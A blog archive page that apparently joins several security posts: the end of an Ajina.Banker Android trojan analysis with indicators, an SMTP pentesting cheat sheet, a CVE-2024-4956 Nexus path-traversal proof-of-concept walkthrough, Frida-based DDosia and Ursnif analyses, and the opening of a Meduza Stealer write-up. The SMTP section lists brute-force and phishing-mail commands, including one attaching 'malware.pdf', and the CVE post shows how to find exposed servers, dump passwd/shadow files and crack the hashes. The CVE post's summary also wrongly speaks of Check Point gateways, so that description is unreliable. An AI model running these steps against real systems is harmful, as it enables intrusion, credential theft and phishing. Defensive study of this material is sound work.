We gathered several samples from the org.zzzz.aaa group and found little differences in the code structure. Further analysis of the appearance of new samples and code similarities lead us to the conclusion that this family is still under active development, and we can suggest that org.zzzz.aaa is the new version of the same family as com.example.smshandler.New samples stats

Figure 18. New samples stats

As shown above, another group of samples has the org.zzzz.aaa package name. The first known infection occurred on February 18 2024, while the earliest publicly available sample was detected on 20 February 2024, and is still the most downloaded for now.

One of the freshest samples has an interesting but less popular difference. It is a new execution flow branch showing another view instead of just a background image. Based on the names of variables of type TextInputEditText, we assume that this is something like a phishing page, but we are not able to trigger this branch.New activity layout Ajina malware

Figure 19. New activity layout

Along with this new View there is a new action 7 message for sending user-provided phone number, bank card number and PIN-code.The user-inputed card info is sent to gate server

Figure 20.The user-inputed card info is sent to gate server

It appears that this new feature is developed to primarily target users in Azerbaijan because of the hard-coded phone number prefix and text language on the Toast popup.

There are some additional features that are common for most of analyzed org.zzzz.aaa samples:

  • new packages of interest
  • Accessibility Service abuse:
    • prevent uninstallation
    • grant permissions
  • Requests for additional permissions. However, we did not found calls of Android Platform API in the analyzed samples that requires such permissions
    • READ_CALL_LOG
    • GET_ACCOUNTS
    • READ_CONTACTS
  • Opens another legitimate app instead of a browser when permissions are granted

There are several examples of layouts from discovered samples with various legends:Example of interface of the new samples

Figure 21.1 Example of interface of the new samplesExample of interface of the new samples

Figure 21.2 Example of interface of the new samplesExample of interface of the new samples

Figure 21.3 Example of interface of the new samplesExample of interface of the new samples

Figure 21.4 Example of interface of the new samples

Infrastructure

As mentioned before, the malware only sends exfiltrated data over raw TCP in JSON to the gate server. There were no capabilities to receive commands found. But we’ve managed to find a web panel of “SMS handler”, which refers us to the version of package name com.example.smshandler. It’s possible to find further servers by the same response, using search by body hash (SHA1 1a9c98808a547d4b50cc31d46e19045bcd2cfc1b).Discovery of the “SMS handler” Web Panel

Figure 22.1 Discovery of the “SMS handler” Web PanelScan result for responses containing Web Panel

Figure 22.2 Scan result for responses containing Web Panel

On all of the adversaries servers we can find certificates with “WIN-PDDC81NCU8C” issuer and subject common name. However,  this common name is generic and widely used by a specific hosting service according to Shodan.Certificate found on gate server

Figure 23.1 Certificate found on gate serverNumber of certificates with the same common name

Figure 23.2 Number of certificates with the same common name

We’ve seen 9 servers involved in this campaign, some of them shared the same Etags (e.g. 1718668565.8504026-495-535763281). Network infrastructure involved in this attack is shown on the graph analysis below.

Figure 24. Screenshot of graph analysis of network infrastructure

Targets

As we’ve mentioned above, one significant aspect of our findings is based on the analysis of Android package names utilized in this campaign. Many of these packages mimicked popular regional apps, such as local banking applications, government service portals, or everyday utility tools. By replicating the appearance of these trusted applications, the adversary increased the likelihood of users downloading and installing the malware. So the displayed names can be a trustworthy indication of the target region.

Analysis indicates that most of these malware samples were specifically designed to target users in Uzbekistan, suggesting that the adversary deliberately focused on this region. But there are also a few other regions that have been targeted by the adversary. The main reason is that the samples have hardcoded checks for attributes distinctive for other countries. We’ve also seen AM-CERT (National CERT/CSIRT Armenia) reporting this campaign.

During the analysis we’ve also found the use of specific country phone provider codes embedded within the malicious APKs. These codes indicate that the adversary has an even wider pool of target countries. The adversary checks for Service Provider Network (SPN) and then sends a Unstructured Supplementary Service Data (USSD) request to get the phone number of the active SIM cards from the victim’s device. Based on this we can assume potential regions of interest, from where the user data could be possibly stolen.Distribution of supported SPNs and apps of interest per country hardcoded in sample

Figure 25. Distribution of supported SPNs and apps of interest per country hardcoded in sample

Attribution

The analysis of the malware has shown that the malicious files contain data about different affiliates. This leads us to conclude that it’s based on an affiliate programme, where the support for the initial project is led by a small group of people, and all the distribution and infection chains are made by affiliates working for the percentage.

Sample named “Вип Контент.apk” – “VIP Content.apk” in english – (SHA1 b4b9562a9f4851cba5761b1341f58f324f258123) was seen by MalwareHunterTeam and mentioned in Twitter post in January 28, 2024. One of the replies written to the post by APK–47 highlights an interesting username hardcoded as a name of one of the workers. The username “@glavnyypouzbekam” leads to the Telegram account named “Travis Bek” with description “Главный по узбекам” which means “Chief for Uzbeks”.Screenshot of the Twitter post by APK--47

Figure 26.1 Screenshot of the Twitter post by APK–47Screenshot of the Twitter post by APK-47

Figure 26.2 Screenshot of the Twitter post by APK-47

Group-IB Threat Intelligence system has found the following activity related to the Telegram account mentioned. Adversary participated in programmers chats, searched for “Java coder” and, according to his message, to an existing team. Detected user activity is shown on the figures below.User activity found by Group-IB Threat Intelligence

Figure 27.1 User activity found by Group-IB Threat IntelligenceUser activity found by Group-IB Threat Intelligence

Figure 27.2 User activity found by Group-IB Threat Intelligence

We’ve also found a Telegram bot connected to this campaign by username “@glavnyypouzbekam” contained in its description. Bot with the username “@glavnyypouzbekambot” has information about the possibility of earning money online and an invitation to join written in Russian.Telegram bot found during the investigation

Figure 28.1 Telegram bot found during the investigationTelegram bot found during the investigation

Figure 28.2 Telegram bot found during the investigation

We assume that highly likely due to its uniqueness, the hardcoded worker’s name “@glavnyypouzbekam” is connected to the discovered Telegram activity. Based on our findings, we assume that the adversary standing behind this account is one of the operators of the Ajina malicious campaign. The hiring of Java coders, created Telegram bot with the proposal of earning some money, also indicates that the tool is in the process of active development and has support of a network of affiliated employees. Worth noting, that soon after the adversary’s name was posted on Twitter, current Telegram account was deleted.

Prevention

To protect Group-IB customers from threats related to Ajina.Banker malware and other similar threats, Group-IB Fraud Protection uses events/rules to detect and prevent Ajina.Banker and other similar malware:

For confirmed malware samples Ajina.Banker:

Group-IB’s Fraud Protection maintains an extensive database of all detected malware. When our system detects applications from the list of mobile Trojans downloaded to an end-users device, we trigger the appropriate events to notify our customers promptly.Screenshot of event from Group-IB Fraud Protection system

Figure 29. Screenshot of event from Group-IB Fraud Protection system

When the malware is detected on the user’s device:

Once the trojan is successful, sensitive customer data typically falls into the hands of the threat actor, who then seeks to monetize this data. Often, the threat actor or their software will log into the stolen account. In such cases, a new device may appear when accessing the user account. Consequently, a rule has been developed to monitor accounts where a mobile banking trojan has been confirmed and to detect logins from new devices.

When new versions of a given Trojan family appear:

For cases where the malware has not yet been added to the malware database, a new rule has been developed that focuses on the trojan’s specific characteristics. In particular, we check the characteristics of all software from a non-legitimate source for the ability to read SMS. These alerts are also transmitted to banks in the form of specific event types, increasing the likelihood of preventing fraudulent transactions by threats.Screenshot of event from Group-IB Fraud Protection system

Figure 30. Screenshot of event from Group-IB Fraud Protection system

Conclusion

The case of Ajina highlights how quickly malware developers can appear, set up distributional chains and evaluate their tools. The direct communication between the threat actor and victim also makes Ajina.Banker an effective malware type in terms of keeping low detect rate on the first stages. While Group-IB does not have definitive data on the amount of money stolen by Ajina, the methods harnessed by malicious actors are cause for concern.

Recommendations

The security of mobile applications and operating systems is improving rapidly. However, it is premature to completely write-off Android banking Trojans entirely. In our experience, banking Trojans are still highly active, with threat actors widely distributing modified Trojans based on publicly available source code.

A good example of this trend is Ajina.Banker, which poses a significant threat not only to end-users of banking applications but also the entire banking sector itself.

For users

Below are some basic recommendations on protecting mobile devices from banking Trojans like Ajina.Banker.

  • Always check for updates on your mobile device. Maintaining your mobile devices updated will make them less vulnerable to such threats.
  • Avoid downloading applications from sources other than Google Play. However, it’s important to note that even Google Play cannot guarantee complete security. Always check the permissions that an application requests before installing it.
  • Do not click on links contained within suspicious SMS messages.

If your device has been infected, do the following:

  1. Disable network access.
  2. Freeze any bank accounts that may have been accessed from your device.
  3. Contact experts to receive detailed information about the risks that the malware could pose to your device.

For organizations

The Group-IBThreat Intelligence team will continue to track Ajina.Banker and update our database with new indicators related to this trojan. Additionally, our Threat Intelligence team will notify customers when their application is targeted by Ajina.Banker, or any other Android malware we track.

For organizations that wish to protect their customers, implementing a solution that monitors user sessions – such as Group-IB Fraud Protection – can prevent malware operators from defrauding their clients and damaging their reputations.

Group-IB’s Fraud Protection detects the latest fraud techniques, phishing preparation, and other types of attacks. The platform integrates data from Group-IB’s attribution-based Threat Intelligence system. Exclusive information about cybercriminals, malware, adversary IP addresses, and compromised data (logins, passwords, bank cards) helps develop anti-fraud systems and cybersecurity teams, which allows the latter to identify intruders and their actions.

In this way, Fraud Protection “catches” banking Trojans and detects unauthorized remote access, web injections, cross-channel attacks, and personal data collection. Group-IB’s solution implements patented algorithms that help detect infected devices without the client’s involvement and without installing additional software.

Fraud Matrix

Ajina Malware fraud matrix
TacticTechniqueProcedure
Resource developmentMalwareAttackers use Ajina.Banker malware to gain access to user accounts
Scam workersAttacker has a network of affiliated employees acting with financial motivation, spreading Ajina.Banker that victimizes ordinary users
Social Network AccountAttackers use Telegram accounts to spread Ajina.Banker
Trust abuseBluffingAttackers promise easy earnings and lucrative offers to convince end users to install Ajina.Banker
Fake applicationAjina.Banker mimics popular banking apps and payment systems
Enabling Accessibility Service for MalwareAjina.Banker asks for Accessibility Service permission to prevent uninstallation or uninstall itself
End-user interactionPhishingAjina.Banker expended malicious applications via Telegram
Pushing to install Android MalwareAttackers requires users to download, install the .APK file manually
Scam adsThe description of Ajina.Banker in Telegram is accompanied by an advertising description offering bonuses and cash rewards
Scam Message in Social Network/Instant MessengerAjina.Banker is promoted through mailings in Telegram groups and in personal messages
Credential accessPhone Number CaptureAjina.Banker makes a USSD request to get the phone number to be sent to the gate server
2nd Factor CaptureAjina.Banker reads all SMS including authentication codes, allowing fraudsters to pass the 2nd Factor
Card PAN/EXP/CVV CaptureAttackers, after logging into a user’s account, are able to obtain full information about the user’s bank cards
Credential CaptureHaving access to a user account allows attackers to gain full information about the account holder
SMS/Push InterceptionAjina.Banker collects all SMS on the user’s device, even SMS from non-target organizations
Account accessAccess from Fraudster DeviceAttackers log into the account from a new device with the user’s phone number and confirmation SMS

MITRE ATT&CK® Matrix

TacticTechniqueProcedure
Initial Access (TA0027)Phishing (T1660)Ajina spreaded malicious applications via Telegram.
Persistence (TA0028)Event Triggered Execution: Broadcast Receivers (T1624.001)Ajina.Banker registers to receive system-wide broadcast intents such as receiving SMS message, device boot completion, network changes, battery charging state changes, locking and unlocking the screen.
Defense-evasion (TA0030)Indicator Removal on Host: Uninstall Malicious Application (T1630.001)Ajina.Banker can uninstall itself.
Masquerading: Match Legitimate Name or Location (T1655.001)Ajina.Banker mimics legitimate applications, trying to match their names and icons.
Credential-access (TA0031)Access Notifications (T1517)Ajina.Banker can access SMSes.
Discovery (TA0032)Software Discovery (T1418)Ajina.Banker checks for presence of some hardcoded applications (mostly banks).
System Network Configuration Discovery (T1422)Ajina.Banker checks for SPN and then sends a USSD request to get the phone number.
Collection (TA0035)Access Notifications (T1517)Ajina.Banker can access the notifications.
Protected User Data: SMS Messages (T1636.004)Ajina.Banker can access the SMS messages.
Command-and-control (TA0037)Non-Standard Port (T1509)Ajina.Banker sends data in raw TCP to 8080 port.
Exfiltration (TA0036)Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol (T1639.001)Ajina.Banker exfiltrates data to the gate server.

Indicators of compromise

md5sha1sha256
4b0256974d7250e3ddc3d13d6c506f4fcc6af149f1da110a570241dde6e3cfd0852cb0d8a523d967e7bdfbb7ce899445f705925e7c6e11c39db0fb77b8aed3b4615eb17b
a61c0d53f624024d401c987032270e7d2405e7b762e65011f7d107b2b2bcf069a18a527844b8898a37153238185befdbf59e0e6de4efec302082f74992a7120a416f2008
34a42857113ab2c856d533105494eb418a3c5e0c0438588640fbf4afe3a9c176a8204eec1e531605566061e47153f53bba14451eb4b182251f328c62dd7240a19b7fe6e3
bf20e58236c2020cd5eeceff0bf7974c209aa1222bf59dd397aa38779cb0f48dcc9614243897324fdf1ef6deb528b65c047017318a13c87f0b68f1eacee1fad256256b51
7f2e9aa66f802727a52eeec72ed2d45884af2ce3a2e58cc8a70d4cc95916cbfe15f2169e8269b64b8cf38bdaa1b632968dc69172fcc830e9ad0c00cd6bebc586dec4af1f
00241d7334d78340cd5eb721f40b868215de15a6f4af9c32cccbee23d99b80d33f3dcb502e592aacdad946249111ac6ecaa1614fe55091adcf00495936b106cd5707ca35
48eb80adac9c2c9bd046c8f3da8c7f587f4b4f2b941e4472ece092a409099716aadcf16bf4f3d2bd5eee5a1f0632314abf5d540c03e97c0d2afe155439a533a030b792f2
Posted in Cyber Attacks, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Scam, Spyware, vulnerabilityLeave a comment

SMTP/s — Port 25,465,587 For Pentesters

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

SMTP (Simple Mail Transfer Protocol) is a core component of the internet’s email infrastructure, responsible for sending and receiving emails. It’s a protocol within the TCP/IP suite, frequently working alongside POP3 or IMAP to store emails on servers and allow users to access them. Despite its widespread use, SMTP has certain vulnerabilities that make it a popular target for penetration testers and hackers.

SMTP Commands:

HELO It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.

EHLO An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol.

MAIL FROM With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer.

RCPT TO It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address.

SIZE This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server.

DATA With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission.

VRFY The server is asked to verify whether a particular email address or username actually exists.

TURN This command is used to invert roles between the client and the server, without the need to run a new connaction.

AUTH With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission.

RSET It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT).

EXPN This SMTP command asks for a confirmation about the identification of a mailing list.

HELP It’s a client’s request for some information that can be useful for the a successful transfer of the email.

QUIT It terminates the SMTP conversation.

Reconnaissance and Information Gathering

Subdomain Enumeration & DNS Misconfigurations: Before jumping into SMTP directly, expand the reconnaissance section to include subdomain enumeration for deeper target discovery. Tools like amass or sublist3r could be used here to identify potential SMTP servers:Copy

amass enum -d <target-domain>

Subdomains could potentially host misconfigured or less secure SMTP servers.

1.1. Identify Open SMTP Ports

Start by using tools like Nmap to identify open ports, typically 25 (SMTP), 465 (SMTPS), and 587 (Submission over TLS):Copy

nmap -p25,465,587 --open <target-IP>

Using Metasploit:Copy

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS <target-IP>
set THREADS 10
run

1.2. MX Record Discovery

Discover Mail Exchanger (MX) records for the target organization:Copy

dig +short mx <target-domain>

This will return the mail servers responsible for receiving emails for the domain.

1.3. Banner Grabbing

Banner grabbing helps identify the SMTP server version, which could contain known vulnerabilities. Use Netcat or OpenSSL to connect and grab the banner:Copy

nc -vn <target-IP> 25

For secure connections:Copy

openssl s_client -starttls smtp -connect <target-IP>:587

Using Metasploit:Copy

use auxiliary/scanner/smtp/smtp_version

Look for:

  • Server versions
  • Mail server type (Microsoft ESMTP, Postfix, Exim, etc.)
  • Any other information leaks (internal hostnames)

Enumeration and Vulnerability Discovery

2.1. Enumerate SMTP Commands

Use Nmap’s smtp-commands script to enumerate supported SMTP commands. This may give insights into how to interact with the server, and whether certain attack vectors (like relay attacks) are possible.Copy

nmap -p25 --script smtp-commands <target-IP>

2.2. Open Relay Testing

An open SMTP relay can be abused to send spam or phishing emails without authentication. Use the smtp-open-relay Nmap script to test for this vulnerability:Copy

nmap -p25 --script smtp-open-relay <target-IP>

Using Telent:Copy

telnet <target-IP> 25
helo attacker.com
mail from: attacker@attacker.com
rcpt to: victim@target.com
data
This is a test email to verify open relay.
.
quit

If the server is vulnerable, you will be able to send emails without being an authenticated user.

2.3. Verify Users

SMTP servers can sometimes allow username verification using RCPT TO and VRFY commands, revealing valid email accounts on the system.Copy

telnet <target-IP> 25
HELO test.com
MAIL FROM: attacker@attacker.com
RCPT TO: victim@target.com

If you get a 250 OK response, the email address is valid.

You can automate this using tools like smtp-user-enum:Copy

smtp-user-enum -M VRFY -U users.txt -t <target-IP>

Exploiting Information Disclosure and Misconfigurations

3.1. Internal Server Name Disclosure

Some SMTP servers may leak internal server names in the response to commands like MAIL FROM:. For example:Copy

MAIL FROM: attacker@example.com

Response:Copy

250 me@INTERNAL-SERVER.local...Sender OK

This internal information could be used in later attacks.

3.2. NTLM Authentication Information Disclosure

If the SMTP server supports NTLM authentication, you can extract sensitive information by interacting with the authentication process. Copy

nmap --script smtp-ntlm-info.nse -p25 <target-IP>

Using Metasploit:Copy

use auxiliary/scanner/smb/smb_ntlm_credential_dump
set RHOSTS <target-IP>
run

Password Cracking and Credential Harvesting

4.1. Sniffing Cleartext Credentials

SMTP running on port 25 (non-SSL) may allow you to capture email credentials via network sniffing using Wireshark or tcpdump. Look for cleartext AUTH LOGIN or AUTH PLAIN credentials.

Wireshark filter:Copy

tcp.port == 25 && tcp contains "AUTH"

4.2. SMTP Brute-Forcing

If authentication is required but weak credentials are suspected, use brute-forcing tools such as Hydra: Copy

hydra -L users.txt -P passwords.txt smtp://<target-IP> -V

Sending Malicious Emails (Post-Exploitation)

Once access is gained to the SMTP server or an open relay is found, it is possible to send phishing emails, malware, or perform further reconnaissance.

5.1. Send an Email from Linux Command Line

Copy

sendEmail -t victim@target.com -f attacker@malicious.com -s <target-IP> -u "Urgent" -m "Please open the attached document" -a /path/to/malware.pdf

Or use Swaks to send phishing emails:Copy

swaks --to victim@target.com --from attacker@malicious.com --header "Subject: Urgent" --body "Click this link" --server <target-IP>

5.2. Phishing with EICAR Test File

Test antivirus defenses by sending an EICAR test file to see if the server scans attachments for malware. This helps identify email gateway filtering systems:Copy

sendEmail -t victim@target.com -f attacker@malicious.com -s <target-IP> -u "Test" -a /path/to/
Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

POC – CVE-2024–4956 – Nexus Repository Manager 3 Unauthenticated Path Traversal

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

CVE-2024-4956

POC – CVE-2024–4956 – Nexus Repository Manager 3 Unauthenticated Path Traversal

Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with Remote Access VPN or Mobile Access Software Blades. A security fix that mitigates this vulnerability is available.

Read about it — CVE-2024-4956

Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

  • Fofa Dork: header="Server: Nexus/3.53.0-01 (OSS)"

First, clone the repository

Copy

git clone https://github.com/verylazytech/CVE-2024-4956

Next chose your target and add it to list.txt file in this format:

  • https://ip_address

Run the Exploit

Copy

python3 CVE-2024-4956.py -l list.txt

The output is passwd and shadow files that found:

Crack the hash

Now after you find both file passwd & shadow you can try crack the hash with JohnTheRipper, after running the exploit you have 2 files, passwd & shadow, so you can merge them into one file and try crack them (I used rockyou.txt but it can be any password wordlist):Copy

unshadow passwd shadow > unshadowed.txt 

Copy

john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Extracting DDosia targets from process memory

Posted on September 2, 2024 - September 2, 2024 by Maq Verma

Introduction

This post is part of an analysis that I have carried out during my spare time, motivated by a friend that asked me to have a look at the DDosia project related to the NoName057(16) group. The reason behind this request was caused by DDosia client changes for performing the DDos attacks. Because of that, all procedures used so far for monitoring NoName057(16) activities did not work anymore.

Before starting to reverse DDosia Windows sample, I preferred to gather as much information as possible about NoName057(16) TTPs and a few references to their samples.

Avast wrote a very detailed article about that project and described thoroughly all changes observed in the last few months. Because of that, before proceeding with this post, If you feel you are missing something, I strongly  recommend that you read their article.

Client Setup

According to the information retrieved from the Telegram channel of DDosia Project, there are a couple of requirements before executing the client. The very first action is to create your id through a dedicated bot that will be used later on for authentication purposes. After that, it’s necessary to put the client_id.txt file (generated from DDosia bot) and the executable file in the same folder. If everything has been done properly, it should be possible to observe that authentication process will be done correctly and the client is going to download targets from its server:

Figure 1: Client authenticated correctly

Figure 1: Client authenticated correctly

Dynamic analysis and process memory inspection

Here we are with the fun part. Because of the issues of analyzing GO binaries statically, I preferred to use a dynamic approach supported by Cape sandbox. In fact, executing the client with Cape it was possible to gather behavioral information to speed up our analysis (ref). Since the executable is going to be used for DDoS attacks, it’s easy to expect that most of the functions are related to network routines. One of the most interesting WindowsAPI refers to WSAStartup. This is interesting for us, because according to Microsoft documentation, it must be the first function to be used in order to retrieve socket implementation for further network operations:

The WSAStartup function must be the first Windows Sockets function called by an application or DLL. It allows an application or DLL to specify the version of Windows Sockets required and retrieve details of the specific Windows Sockets implementation. The application or DLL can only issue further Windows Sockets functions after successfully calling WSAStartup.

Moreover, starting to monitor network requests with Wireshark, give us additional information about client-server interactions and targets retrieving procedure:

Figure 2 - Request for target list

Figure 2 – Request for target list

As already mentioned on Avast blogspot, the target list is encrypted and retrieved after the authentication process. However, performing DDoS attacks requires a decryption routine to make targets in cleartext and forward them to a proper procedure. With this insight, it’s possible to open up a debugger and set a breakpoint of WSAStartup and start exploring the process flow from that point.

Figure 3 - Exploring DDosia executable control flow

Figure 3 – Exploring DDosia executable control flow

Exploring the process execution, it’s possible to observe that WSAStartup API is called two times before starting the attack. The first one has been used from the main thread to perform the authentication process on the server side, instead the second call will be done right after retrieving the target file and it will be used from another thread to start the attack phase. Since that information we are looking for has been already downloaded and hopefully decrypted (at the time of the second call) we could explore the process memory trying to identify our target list.

Figure 4 - Target stored in cleartext within process memoryFigure 4 – Target stored in cleartext within process memory

As we expected, information is actually decrypted right before being used from threads that are in charge to flood the targets. From the cleartext sample, it’s also possible to reconstruct the original json file structure that follow this format:

{"target_id":"435te3af574b95e395847362","request_id":"23cer8c5mmp4434dlad53f2s","host":"www.tartuhly.ee","ip":"90.190.99.85","type":"http","method":"GET","port":443,"use_ssl":true,"path":"/otsi/$_1","body":{"type":"","value":""},"headers":null}

JSON

At this point I have shown all procedures to quickly follow the execution flow until the decryption routine is called. From now on, it’s just a matter of looking for those data within process memory and extracting them for your own purpose. It’s worth noting that information won’t be stored decrypted forever, in fact, as the executable keeps running, the json file is actually mangled in a way that is not easy to resemble it properly.

A little bit of automation

Even if the analysis has been completed and targets are correctly retrieved, I thought that giving a little tool to extract that information would be useful. Instead of doing complex stuff, I wrote two simple scripts called targets.js and recover.py. The purpose of these two files is to allow analysts from different backgrounds to extract those targets, even performing a simple memory dump. Probably there are easier and smarter techniques out there, but it was also a good chance to put in practice DBI, which I have already covered in a previous post.

  • target.js: Frida script that aims to get a memory dump after the WSAStartup has been called for the second time (when payloads are in cleartext in memory).
  • recover.py: it’s a simple python script that retrieves structured information from the files dumped. It’s worth noting that I limited my script to look for structured information, retrieving IP and Hostname (additional improvements are left to user’s needs).

Script Testing

In order to run the mentioned scripts there are two requirements to fulfill:

  • Installing frida-tool (pip install frida-tools).
  • Create a folder named “dumps” in the same place where you run the target.js file.

If all requirements are satisfied it’s just a matter of running those scripts and getting the results. The first step is to run frida.exe, using the targets.js file that contains all the information to dump the process memory:

frida.exe <ddosia_client.exe>  -l targets.js

PowerShell

If everything has been done correctly (please keep in mind the requirements), you should be able to see a message “[END] Memory dumped correctly” in your console.

Figure 5 - Dumping process Memory with Frida

Figure 5 – Dumping process Memory with Frida

Now you can navigate in dumps folder and run the python script using the following command line that is going to forward all dumped file from the current directory to the script that is going to print the result in your console:

python.exe recover.py (Get-Item .\*dump)

PowerShell

Figure 6 - Extracting DDosia targets from dumped files

Figure 6 – Extracting DDosia targets from dump files

Final Notes

Before concluding, It’s worth mentioning that updates on these scripts and new techniques to dealing with further improvements of DDosia project are not going to be shown, because it represents a topic that I’m not following personally and I’m sure that more authoritative voices will keep track of this threat and its evolution.


[2023-11 – UPDATE ]

As mentioned in the section above I’m not able to provide updates on real-time DDosia Project changes, but since it represents a quite good challenge to sharpen my reversing skills on GO binaries (and I received unexpected feedback about this work), I decided to look in their new Windows client version.

Since I would like to keep this update note as brief as possible, I’ll go straight to the point. What really changes and makes the previous frida script ineffective are slightly binary improvements (mostly related to the syscalls used). Because of that I tried to switch monitored syscall to WriteConsoleW, hooking on the message that confirmed the numbers of targets retrieved. I found out that I really needed to change 1 line of the previous script to keep it updated. (Great example of code reuse xD).

Note:

The modification required was pretty easy, however, this change could be also more consistent for further updates (limiting to tweak a little bit with counter variable) since it exploits the feedback messages (e.g., target acquired, requests completed, rewards, etc..) that won’t be removed any time soon.

Moreover, most of this blogpost it’s still a valid reference for setting up the environment and understanding the control flow to retrieve the actual targets, additionally, as far as I know, there were no great changes on the authentication layer. Previous configured environments needs to replace the old binary to the newer provided on DDosia channel.

  • New frida script: console.js

References:

FileNameSha256Date
d_windows_amd64.exe726c2c2b35cb1adbe59039193030f23e552a28226ecf0b175ec5eba9dbcd336e2023/04/19
(new sample) d_win_x64.exe1b53443ebaabafd6f511d4cf7cb85ddf9fa32540c5dd5621f04a3c5eefa663a92023/11/09
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerability2 Comments

Dynamic Binary Instrumentation for Malware Analysis

Posted on September 2, 2024 - September 2, 2024 by Maq Verma

Introduction

Because of the massive Ursnif campaigns that hit Italy during the last weeks, I was looking for a lightweight method to quickly extract the last infection stage of all collected samples, in order to start further analysis effectively. Due to this, I wrote a little frida script that performs basic Dynamic Binary Instrumentation (DBI) to monitor useful function calls and extracts the Ursnif payload. In this article I am going to briefly discuss this script and the steps needed to start analyzing the resulting binary.

Since I would like to skip redundant topics that are already written all over the internet by people that are Jedi in this field, I’m going to limit this post linking references that would be nice to have to understand everything easily.

  • Frida
  • Windows API
  • Ursnif/Gozi

Intercepting function calls

Most of the time, malware, in order to write memory and run code from the newly allocated space, make use of two functions, such as: VirtualAlloc (ref.) and VirtualProtect (ref.). For the purpose of our task, I have chosen the VirtualProtect function, because at the time of its calling, the data (payload) should be already there and it would be easier to analyze.

So let’s start to write out the code that retrieves the reference of this function and the interceptor that is going to be used to monitor function calls entry and return. Thanks to Frida, it is possible to directly retrieve function arguments through the variable args and check their values. The most important parameter and the one that will be used for our purpose is the lpAddress that represents the address space that is involved in this function call.

Figure 1 - References to VirtualProtect and call Interceptor

Figure 1 – References to VirtualProtect and call Interceptor

Because of the purpose of the article we are not interested in all VirtualProtect calls but we would like to limit our scope to ones that contain a PE header.  To do this, it’s possible to verify if lpAddress starts with “MZ” or “5d4a”. If so, we could print out some values in order to check them against the running executable using tools such as ProcessMonitor or ProcessHacker.

Figure 2 - Printing VirtualProtect arguments

Figure 2 – Printing VirtualProtect arguments

Retrieving the payload

Now comes the tricky part. If we simply apply this technique to dump the memory that contains the MZ, it would be possible for us to also dump the binary that we originally started the infection with. However, analyzing Ursnif code, it’s possible to see that it creates a dedicated memory space to write its final stage that is commonly referenced as a DLL. In order to avoid that, it’s possible to use a function findModuleByAddress that belongs to the Process object.

As reported by Frida documentation:

Process.findModuleByAddress(address) returns a Module whose address or name matches the one specified. In the event that no such module could be found, the find-prefixed functions return null whilst the get-prefixed functions throw an exception.

In order to avoid exception handling stuff I have preferred to go with find prefix function and then checking if the Module returned is equal to null. Otherwise, we would have an existing module object and  module.base = image base.

Now, as a final step before moving on and dumping the actual payload, it’s necessary to retrieve the page size to which  lpAddress belongs. That information could be retrieved using the findRangeByAddress that  return an object with details about the range (memory page) containing address.

 Figure 3 - Checking for payload address

Figure 3 – Checking for payload address

Dumping config file

Now that we have all the information required, it’s time to dump the actual Ursnif payload. In order to do this, it’s possible to read the page related to lpAddress using the readByteArray using the module.size. Once the information has been stored, it’s possible to write it in a file that could be used later on for further manipulation and analysis.

 Figure 4 - Dumping Ursnif payload

Figure 4 – Dumping Ursnif payload

It’s worth noting that before proceeding with the configuration extraction phase, it’s necessary to modify Raw addresses and Virtual Addresses of each section  header accordingly. This step is necessary because the payload was extracted directly from memory.

Script Testing

Now that we have completed our script it’s time for testing with a real case! Let’s take one of the recent samples delivered by the TA and see if it works. For this example I have chosen a publicly available sample on MalwareBazar.

Running the script against this sample with Frida as follow:

frida.exe <mal_executable> -l <your_script.js>

It will produce a file called 0x2cf0000_mz.bin (it may vary from the memory address allocation on your machine).

Figure 5 - Ursnif payload extraction with Frida

Figure 5 – Ursnif payload extraction with Frida

If we open this file with PE-Bear, what should alert us, is the import table that contains unresolved information. This happens, because our code has been extracted directly from memory and before proceeding with our analysis it is necessary to map the raw sections addresses with their virtual counterparts (for brevity I have prepared a script that is going to perform these steps automatically). After having settled the addresses properly, it’s possible to proceed with configuration extraction through a custom script (that is out of the scope for this post).

Reference

  • DBI script: mon.py
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Meduza Stealer or The Return of The Infamous Aurora Stealer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Meduza’s Gaze

Meduza Stealer … Yes, you read it right, I did not misspelled it, is a new stealer that appeared on Russian-speaking forums at the beginning of June 2023. The stealer is written in C++ and is approximately 600KB in size. The DLL dependencies are statically linked to the binary, which reduces the detection. It’s also worth noting that the collected logs are not stored on the disk.

meduza1.JPG

The stealer collects the data from 100 browsers which includes Chromium and Gecko browsers.

Chromium Browsers

